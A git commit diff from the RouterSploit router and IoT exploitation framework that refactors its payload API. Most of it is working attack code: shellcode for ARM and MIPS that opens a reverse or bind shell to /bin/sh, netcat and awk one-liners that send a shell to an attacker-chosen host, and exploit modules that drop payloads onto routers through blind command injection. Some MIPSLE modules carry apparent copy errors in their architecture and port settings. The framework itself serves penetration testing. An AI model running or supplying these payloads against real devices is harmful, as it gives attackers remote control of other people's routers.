Commit 550bcf44 by Mariusz Kupidura Committed by GitHub

Refactor `payloads` API (#331)



* Refactor payloads.

* Payloads handlers (#325)

* Multiple payloads support

* RHost for bind shell

* Fixing payloads

* Validating parameters

* Architecture parameter

* Fixing payloads

* Fix pep

* Fixing tests

* Fixing ident

* Payload handlers

* Removing old payloads

* Removing default target/port

* Fixing payloads, refactoring

* Fixing pep

* Changing payloads names

* Adding wget and echo options

* Parameter validation

* Removing testing modules

* Refactor payload vol. 2

* Remove `ArchitectureHeader`.

* Put PayloadHandler mixins first in MRO.

* Add `ExploitOptionsAggregator` metaclass to mixins.

* Fix payload completion.

* Remove validate_template from shell()

* Fix tests.

* Fix flake8 violations.

* Adding validation

* Adding support for generic payloads

* Add meaningful error message.
parent b24b0bcc
......@@ -21,4 +21,3 @@ from routersploit import payloads
from routersploit import wordlists
from routersploit import validators
from routersploit.shell import shell
from weakref import WeakKeyDictionary
from itertools import chain
import os
import threading
import time
import os
from itertools import chain
from weakref import WeakKeyDictionary
from routersploit.utils import print_status, NonStringIterable
from future.builtins import range
from routersploit.utils import print_status, NonStringIterable
GLOBAL_OPTS = {}
......@@ -52,11 +53,15 @@ class ExploitOptionsAggregator(type):
"""
def __new__(cls, name, bases, attrs):
try:
base_exploit_attributes = chain(map(lambda x: x.exploit_attributes, bases))
base_exploit_attributes = chain(
map(lambda x: x.exploit_attributes, bases)
)
except AttributeError:
attrs['exploit_attributes'] = {}
else:
attrs['exploit_attributes'] = {k: v for d in base_exploit_attributes for k, v in d.iteritems()}
attrs['exploit_attributes'] = {
k: v for d in base_exploit_attributes for k, v in d.iteritems()
}
for key, value in attrs.iteritems():
if isinstance(value, Option):
......@@ -65,17 +70,17 @@ class ExploitOptionsAggregator(type):
elif key == "__info__":
attrs["_{}{}".format(name, key)] = value
del attrs[key]
elif key in attrs['exploit_attributes']: # Removing exploit_attribute that was overwritten
del attrs['exploit_attributes'][key] # in the child and is not a Option() instance.
return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs)
# Removing exploit_attribute that was overwritten
# in the child and is not a Option() instance.
elif key in attrs['exploit_attributes']:
del attrs['exploit_attributes'][key]
return super(ExploitOptionsAggregator, cls).__new__(
cls, name, bases, attrs
)
class Exploit(object):
""" Base class for exploits. """
class BaseExploit(object):
__metaclass__ = ExploitOptionsAggregator
# target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")
@property
def options(self):
......@@ -88,17 +93,29 @@ class Exploit(object):
"""
return self.exploit_attributes.keys()
def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)
class Exploit(BaseExploit):
""" Base class for exploits. """
target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")
def run(self):
raise NotImplementedError("You have to define your own 'run' method.")
def check(self):
raise NotImplementedError("You have to define your own 'check' method.")
raise NotImplementedError(
"You have to define your own 'check' method."
)
def run_threads(self, threads, target, *args, **kwargs):
workers = []
threads_running = threading.Event()
threads_running.set()
for worker_id in xrange(int(threads)):
for worker_id in range(int(threads)):
worker = threading.Thread(
target=target,
args=chain((threads_running,), args),
......@@ -118,6 +135,3 @@ class Exploit(object):
for worker in workers:
worker.join()
print_status('Elapsed time: ', time.time() - start, 'seconds')
def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)
from __future__ import print_function
import atexit
import itertools
import os
import sys
import itertools
import traceback
import atexit
from collections import Counter
from routersploit.printer import PrinterThread, printer_queue
from routersploit.exceptions import RoutersploitException
from routersploit.exploits import GLOBAL_OPTS
from routersploit import utils
from routersploit.exceptions import RoutersploitException
from routersploit.exploits import Exploit, GLOBAL_OPTS
from routersploit.payloads import BasePayload
from routersploit.printer import PrinterThread, printer_queue
if sys.platform == "darwin":
import gnureadline as readline
......@@ -180,12 +182,20 @@ class RoutersploitInterpreter(BaseInterpreter):
self.raw_prompt_template = None
self.module_prompt_template = None
self.prompt_hostname = 'rsf'
self.show_sub_commands = ('info', 'options', 'devices', 'all', 'creds', 'exploits', 'scanners')
self.show_sub_commands = (
'info', 'options', 'devices', 'all',
'creds', 'exploits', 'scanners'
)
self.global_commands = sorted(['use ', 'exec ', 'help', 'exit', 'show ', 'search '])
self.module_commands = ['run', 'back', 'set ', 'setg ', 'check']
self.module_commands.extend(self.global_commands)
self.module_commands.sort()
self.global_commands = sorted(
['use ', 'exec ', 'help', 'exit', 'show ', 'search ']
)
self.module_commands = self._extend_with_global_commands(
['run', 'back', 'set ', 'setg ', 'check']
)
self.payload_commands = self._extend_with_global_commands(
['run', 'back', 'set ', 'setg ']
)
self.modules = utils.index_modules()
self.modules_count = Counter()
......@@ -201,16 +211,17 @@ class RoutersploitInterpreter(BaseInterpreter):
| |\ \ (_) | |_| | || __/ | /\__/ / |_) | | (_) | | |_
\_| \_\___/ \__,_|\__\___|_| \____/| .__/|_|\___/|_|\__|
| |
Router Exploitation Framework |_|
IoT Exploitation Framework |_|
Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)
Codename : Bad Blood
Version : 2.2.1
Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count}
Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count} Payloads: {payloads_count}
""".format(exploits_count=self.modules_count['exploits'],
scanners_count=self.modules_count['scanners'],
creds_count=self.modules_count['creds'])
creds_count=self.modules_count['creds'],
payloads_count=self.modules_count['payloads'])
def __parse_prompt(self):
raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
......@@ -221,6 +232,12 @@ class RoutersploitInterpreter(BaseInterpreter):
module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033')
self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template
def _extend_with_global_commands(self, sequence):
""" Extend specific command suggestion with global commands """
sequence.extend(self.global_commands)
sequence.sort()
return sequence
@property
def module_metadata(self):
return getattr(self.current_module, "_{}__info__".format(self.current_module.__class__.__name__))
......@@ -268,6 +285,11 @@ class RoutersploitInterpreter(BaseInterpreter):
"""
if self.current_module and GLOBAL_OPTS:
return sorted(itertools.chain(self.module_commands, ('unsetg ',)))
elif self.current_module and isinstance(self.current_module, Exploit):
return self.module_commands
elif self.current_module and isinstance(self.current_module,
BasePayload):
return self.payload_commands
elif self.current_module:
return self.module_commands
else:
......@@ -378,7 +400,7 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required
def _show_options(self, *args, **kwargs):
target_opts = ['target', 'port']
target_opts = ['target', 'port', 'rhost', 'rport', 'lhost', 'lport']
module_opts = [opt for opt in self.current_module.options if opt not in target_opts]
headers = ("Name", "Current settings", "Description")
......
......@@ -1295,8 +1295,8 @@ class Exploit(exploits.Exploit):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>")
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp")
print_status("It is blind command injection - response is not available")
shell(self, architecture="mipsbe", method="wget", location="/tmp")
else:
print_error("Exploit failed. Device seems to be not vulnerable.")
......
......@@ -38,7 +38,10 @@ class Exploit(exploits.Exploit):
if self.check():
print_success("Target seems to be vulnerable")
print_status("This is blind command injection, response is not available")
shell(self, architecture="mipsbe", binary="netcat", shell="/bin/sh")
shell(self,
architecture="generic",
method="netcat",
payloads=["netcat_bind_tcp", "netcat_reverse_tcp"])
else:
print_error("Exploit failed - exploit seems to be not vulnerable")
......
......@@ -53,8 +53,11 @@ class Exploit(exploits.Exploit):
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("Please note that only first 256 characters of the "
"output will be displayed or use reverse_tcp")
shell(self, architecture="armle", method="wget", binary="wget", location="/tmp")
"output will be displayed.")
shell(self,
architecture="armle",
method="wget",
location="/tmp")
else:
print_error("Target is not vulnerable")
except socket.error as ex:
......
......@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection, response is not available")
shell(self, architecture="mipsle", method="echo", binary="echo", location="/var/tmp/")
shell(self, architecture="mipsle", method="echo", location="/var/tmp/")
else:
print_error("Exploit failed - target seems to be not vulnerable")
......
......@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
shell(self, architecture="none", method="awk", binary="awk")
shell(self,
architecture="generic",
method="awk",
payloads=["awk_bind_tcp", "awk_reverse_tcp"])
else:
print_error("Target is not vulnerable")
......
......@@ -38,7 +38,7 @@ class Exploit(exploits.Exploit):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
shell(self, architecture="mipsle", method="wget", binary="wget", location="/var")
shell(self, architecture="mipsle", method="wget", location="/var")
else:
print_error("Target is not vulnerable")
......
......@@ -57,12 +57,12 @@ class Exploit(exploits.Exploit):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>")
print_status("It is blind command injection - response is not available")
if self.arch == "mipsbe":
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp")
shell(self, architecture="mipsbe", method="wget", location="/tmp")
elif self.arch == "mipsle":
shell(self, architecture="mipsle", method="wget", binary="wget", location="/tmp")
shell(self, architecture="mipsle", method="wget", location="/tmp")
else:
print_error("Target is not vulnerable")
......
......@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit):
print_status("It is blind command injection so response is not available")
# requires testing
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp")
shell(self,
architecture="mipsbe",
method="wget",
location="/tmp")
else:
print_error("Exploit failed - target seems to be not vulnerable")
......
......@@ -50,7 +50,10 @@ class Exploit(exploits.Exploit):
self.info()
print_status("Invoking command loop")
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp")
shell(self,
architecture="mipsbe",
method="wget",
location="/tmp")
else:
print_error("Exploit failed - target seems to be not vulnerable")
......
from . import armle_bind_tcp
from . import armle_reverse_tcp
from . import mipsbe_bind_tcp
from . import mipsbe_reverse_tcp
from . import mipsle_bind_tcp
from . import mipsle_reverse_tcp
from routersploit import (
exploits,
payloads,
validators
from routersploit import validators
from routersploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
BindTCPPayloadMixin,
)
class Exploit(payloads.Payload):
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
'name': 'ARMLE Bind TCP',
'authors': [
......@@ -17,13 +18,11 @@ class Exploit(payloads.Payload):
],
}
architecture = "armle"
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
architecture = Architectures.ARMLE
def generate(self):
bind_port = self.convert_port(self.port)
self.payload = (
bind_port = validators.convert_port(self.rport)
return (
"\x02\x00\xa0\xe3" +
"\x01\x10\xa0\xe3" +
"\x06\x20\xa0\xe3" +
......
from routersploit import (
exploits,
payloads,
validators,
from routersploit import validators
from routersploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
ReverseTCPPayloadMixin,
)
class Exploit(payloads.Payload):
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
'name': 'ARMLE Reverse TCP',
'authors': [
......@@ -17,15 +18,12 @@ class Exploit(payloads.Payload):
],
}
architecture = "armle"
target = exploits.Option('', 'Reverse IP', validators=validators.ipv4)
port = exploits.Option(5555, 'Reverse TCP Port', validators=validators.integer)
architecture = Architectures.ARMLE
def generate(self):
reverse_ip = self.convert_ip(self.target)
reverse_port = self.convert_port(self.port)
self.payload = (
reverse_ip = validators.convert_ip(self.lhost)
reverse_port = validators.convert_port(self.lport)
return (
"\x01\x10\x8F\xE2" +
"\x11\xFF\x2F\xE1" +
"\x02\x20\x01\x21" +
......@@ -40,8 +38,8 @@ class Exploit(payloads.Payload):
"\x92\x1a\x05\xb4" +
"\x69\x46\x0b\x27" +
"\x01\xDF\xC0\x46" +
"\x02\x00" + reverse_port + # "\x12\x34" struct sockaddr and port
reverse_ip + # reverse ip address
"\x2f\x62\x69\x6e" + # /bin
"\x2f\x73\x68\x00" # /sh\0
"\x02\x00" + reverse_port + # "\x12\x34" struct sockaddr and port
reverse_ip + # reverse ip address
"\x2f\x62\x69\x6e" + # /bin
"\x2f\x73\x68\x00" # /sh\0
)
from routersploit import exploits
from routersploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Awk Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
awk_binary = exploits.Option('awk', 'Awk binary')
def generate(self):
return (
self.awk_binary
+ " 'BEGIN{s=\"/inet/tcp/"
+ str(self.rport)
+ "/0/0\";for(;s|&getline c;close(c))"
"while(c|getline)print|&s;close(s)}'"
)
from routersploit import exploits
from routersploit.payloads import GenericPayload, ReverseTCPPayloadMixin
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Awk Reverse TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
awk_binary = exploits.Option('awk', 'Awk binary')
def generate(self):
return (
self.awk_binary
+ " 'BEGIN{s=\"/inet/tcp/0/"
+ self.lhost + "/"
+ str(self.lport)
+ "\";for(;s|&getline c;close(c))"
"while(c|getline)print|&s;close(s)};'"
)
from routersploit import exploits
from routersploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Netcat Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
netcat_binary = exploits.Option('/bin/nc', 'Netcat binary')
shell_binary = exploits.Option('/bin/sh', 'Shell')
def generate(self):
return "{} -lvp {} -e {}".format(self.netcat_binary,
self.rport,
self.shell_binary)
from routersploit import exploits
from routersploit.payloads import GenericPayload, ReverseTCPPayloadMixin
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Netcat Reverse TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
netcat_binary = exploits.Option('/bin/nc', 'Netcat binary')
shell_binary = exploits.Option('/bin/sh', 'Shell')
def generate(self):
return "{} {} {} -e {}".format(self.netcat_binary,
self.lhost,
self.lport,
self.shell_binary)
from routersploit import (
exploits,
payloads,
validators
from routersploit import validators
from routersploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
BindTCPPayloadMixin,
)
class Exploit(payloads.Payload):
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
'name': 'MIPSBE Bind TCP',
'authors': [
......@@ -17,13 +18,11 @@ class Exploit(payloads.Payload):
],
}
architecture = "mipsbe"
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
architecture = Architectures.MIPSBE
def generate(self):
bind_port = self.convert_port(self.port)
self.payload = (
bind_port = validators.convert_port(self.rport)
return (
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
"\x27\xbd\xff\xe0" + # addiu sp,sp,-32
"\x24\x0e\xff\xfd" + # li t6,-3
......
from routersploit import (
exploits,
payloads,
validators,
from routersploit import validators
from routersploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
ReverseTCPPayloadMixin,
)
class Exploit(payloads.Payload):
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
'name': 'MIPSBE Reverse TCP',
'authors': [
......@@ -17,15 +18,12 @@ class Exploit(payloads.Payload):
],
}
architecture = "mipsbe"
target = exploits.Option('', 'Reverse IP', validators=validators.ipv4)
port = exploits.Option(5555, 'Reverse TCP Port', validators=validators.integer)
architecture = Architectures.MIPSBE
def generate(self):
reverse_ip = self.convert_ip(self.target)
reverse_port = self.convert_port(self.port)
self.payload = (
reverse_ip = validators.convert_ip(self.lhost)
reverse_port = validators.convert_port(self.lport)
return (
"\x28\x04\xff\xff" + # slti a0,zero,-1
"\x24\x02\x0f\xa6" + # li v0,4006
"\x01\x09\x09\x0c" + # syscall 0x42424
......@@ -48,10 +46,10 @@ class Exploit(payloads.Payload):
"\x24\x02\x0f\xc9" + # li v0,4041
"\x01\x09\x09\x0c" + # syscall 0x42424
"\x3c\x05\x00\x02" + # lui a1,0x2
"\x34\xa5" + reverse_port + # "\x7a\x69" # ori a1,a1,0x7a69
"\x34\xa5" + reverse_port + # "\x7a\x69" # ori a1,a1,0x7a69
"\xaf\xa5\xff\xf8" + # sw a1,-8(sp)
"\x3c\x05" + reverse_ip[:2] + # "\xc0\xa8" # lui a1,0xc0a8
"\x34\xa5" + reverse_ip[2:] + # "\x01\x37" # ori a1,a1,0x137
"\x3c\x05" + reverse_ip[:2] + # "\xc0\xa8" # lui a1,0xc0a8
"\x34\xa5" + reverse_ip[2:] + # "\x01\x37" # ori a1,a1,0x137
"\xaf\xa5\xff\xfc" + # sw a1,-4(sp)
"\x23\xa5\xff\xf8" + # addi a1,sp,-8
"\x24\x0c\xff\xef" + # li t4,-17
......
from routersploit import validators
from routersploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
BindTCPPayloadMixin,
)
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
'name': 'MIPSLE Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
architecture = Architectures.MIPSBE
def generate(self):
bind_port = validators.convert_port(self.lport)
return (
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
"\xfd\xff\x0e\x24" + # li t6,-3
"\x27\x20\xc0\x01" + # nor a0,t6,zero
"\x27\x28\xc0\x01" + # nor a1,t6,zero
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\x50\x30" + # andi s0,v0,0xffff
"\xef\xff\x0e\x24" + # li t6,-17 ; t6: 0xffffffef
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x10 (16)
bind_port + "\x0d\x24" + # li t5,0xFFFF (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
"\x04\x68\xcd\x01" + # sllv t5,t5,t6 ; t5: 0x5c110000
"\xfd\xff\x0e\x24" + # li t6,-3 ; t6: -3
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x2
"\x25\x68\xae\x01" + # or t5,t5,t6 ; t5: 0x5c110002
"\xe0\xff\xad\xaf" + # sw t5,-32(sp)
"\xe4\xff\xa0\xaf" + # sw zero,-28(sp)
"\xe8\xff\xa0\xaf" + # sw zero,-24(sp)
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xef\xff\x0e\x24" + # li t6,-17
"\x27\x30\xc0\x01" + # nor a2,t6,zero
"\xe0\xff\xa5\x23" + # addi a1,sp,-32
"\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\x01\x01\x05\x24" + # li a1,257
"\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen )
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xff\xff\x05\x28" + # slti a1,zero,-1
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\xa2\xaf" + # sw v0,-1(sp) # socket
"\xfd\xff\x11\x24" + # li s1,-3
"\x27\x88\x20\x02" + # nor s1,s1,zero
"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
"\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
"\x0c\x01\x01\x01" + # syscall 0x40404
"\xff\xff\x10\x24" + # li s0,-1
"\xff\xff\x31\x22" + # addi s1,s1,-1
"\xfa\xff\x30\x16" + # bne s1,s0 <dup2_loop>
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
"\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
"\xec\xff\xaf\xaf" + # sw t7,-20(sp)
"\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
"\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
"\xf0\xff\xae\xaf" + # sw t6,-16(sp)
"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
"\xec\xff\xa4\x27" + # addiu a0,sp,-20
"\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
"\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
"\xf8\xff\xa5\x27" + # addiu a1,sp,-8
"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
"\x0c\x01\x01\x01" # syscall 0x40404
)
from routersploit import (
exploits,
payloads,
validators,
from routersploit import validators
from routersploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
ReverseTCPPayloadMixin,
)
class Exploit(payloads.Payload):
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
'name': 'MIPSLE Reverse TCP',
'authors': [
......@@ -17,15 +18,12 @@ class Exploit(payloads.Payload):
],
}
architecture = "mipsle"
target = exploits.Option('', 'Reverse IP', validators=validators.ipv4)
port = exploits.Option(5555, 'Reverse TCP port', validators=validators.integer)
architecture = Architectures.MIPSBE
def generate(self):
reverse_ip = self.convert_ip(self.target)
reverse_port = self.convert_port(self.port)
self.payload = (
reverse_ip = validators.convert_ip(self.lhost)
reverse_port = validators.convert_port(self.lport)
return (
"\xff\xff\x04\x28" + # slti a0,zero,-1
"\xa6\x0f\x02\x24" + # li v0,4006
"\x0c\x09\x09\x01" + # syscall 0x42424
......
from routersploit import (
exploits,
payloads,
validators,
)
class Exploit(payloads.Payload):
__info__ = {
'name': 'MIPSLE Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
architecture = "mipsle"
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
def generate(self):
bind_port = self.convert_port(self.port)
self.payload = (
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
"\xfd\xff\x0e\x24" + # li t6,-3
"\x27\x20\xc0\x01" + # nor a0,t6,zero
"\x27\x28\xc0\x01" + # nor a1,t6,zero
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\x50\x30" + # andi s0,v0,0xffff
"\xef\xff\x0e\x24" + # li t6,-17 ; t6: 0xffffffef
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x10 (16)
bind_port + "\x0d\x24" + # li t5,0xFFFF (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
"\x04\x68\xcd\x01" + # sllv t5,t5,t6 ; t5: 0x5c110000
"\xfd\xff\x0e\x24" + # li t6,-3 ; t6: -3
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x2
"\x25\x68\xae\x01" + # or t5,t5,t6 ; t5: 0x5c110002
"\xe0\xff\xad\xaf" + # sw t5,-32(sp)
"\xe4\xff\xa0\xaf" + # sw zero,-28(sp)
"\xe8\xff\xa0\xaf" + # sw zero,-24(sp)
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xef\xff\x0e\x24" + # li t6,-17
"\x27\x30\xc0\x01" + # nor a2,t6,zero
"\xe0\xff\xa5\x23" + # addi a1,sp,-32
"\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\x01\x01\x05\x24" + # li a1,257
"\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen )
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xff\xff\x05\x28" + # slti a1,zero,-1
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\xa2\xaf" + # sw v0,-1(sp) # socket
"\xfd\xff\x11\x24" + # li s1,-3
"\x27\x88\x20\x02" + # nor s1,s1,zero
"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
"\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
"\x0c\x01\x01\x01" + # syscall 0x40404
"\xff\xff\x10\x24" + # li s0,-1
"\xff\xff\x31\x22" + # addi s1,s1,-1
"\xfa\xff\x30\x16" + # bne s1,s0 <dup2_loop>
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
"\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
"\xec\xff\xaf\xaf" + # sw t7,-20(sp)
"\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
"\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
"\xf0\xff\xae\xaf" + # sw t6,-16(sp)
"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
"\xec\xff\xa4\x27" + # addiu a0,sp,-20
"\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
"\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
"\xf8\xff\xa5\x27" + # addiu a1,sp,-8
"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
"\x0c\x01\x01\x01" # syscall 0x40404
)
#!/usr/bin/env python
from collections import namedtuple
from struct import pack
import exploits
from utils import (
print_success,
print_status,
print_info,
print_error,
random_text
from routersploit import exploits, validators
from routersploit.exceptions import OptionValidationError
from utils import print_info, print_status, print_success, print_error, random_text
architectures = namedtuple("ArchitectureType", ["ARMLE", "MIPSBE", "MIPSLE"])
payload_handlers = namedtuple("PayloadHandlers", ["BIND_TCP", "REVERSE_TCP"])
Architectures = architectures(
ARMLE="armle",
MIPSBE="mipsbe",
MIPSLE="mipsle",
)
PayloadHandlers = payload_handlers(
BIND_TCP="bind_tcp",
REVERSE_TCP="reverse_tcp",
)
ARCH_ELF_HEADERS = {
"armle": ("\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00"
"\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"\x00\x10\x00\x00"),
"mipsbe": ("\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00"
"\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07"
"\x00\x00\x10\x00"),
"mipsle": ("\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"\x00\x10\x00\x00")
Architectures.ARMLE: (
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00"
"\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"\x00\x10\x00\x00"
),
Architectures.MIPSBE: (
"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00"
"\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07"
"\x00\x00\x10\x00"
),
Architectures.MIPSLE: (
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"\x00\x10\x00\x00"
),
}
class Payload(exploits.Exploit):
output = exploits.Option('python', 'Output type: elf/python')
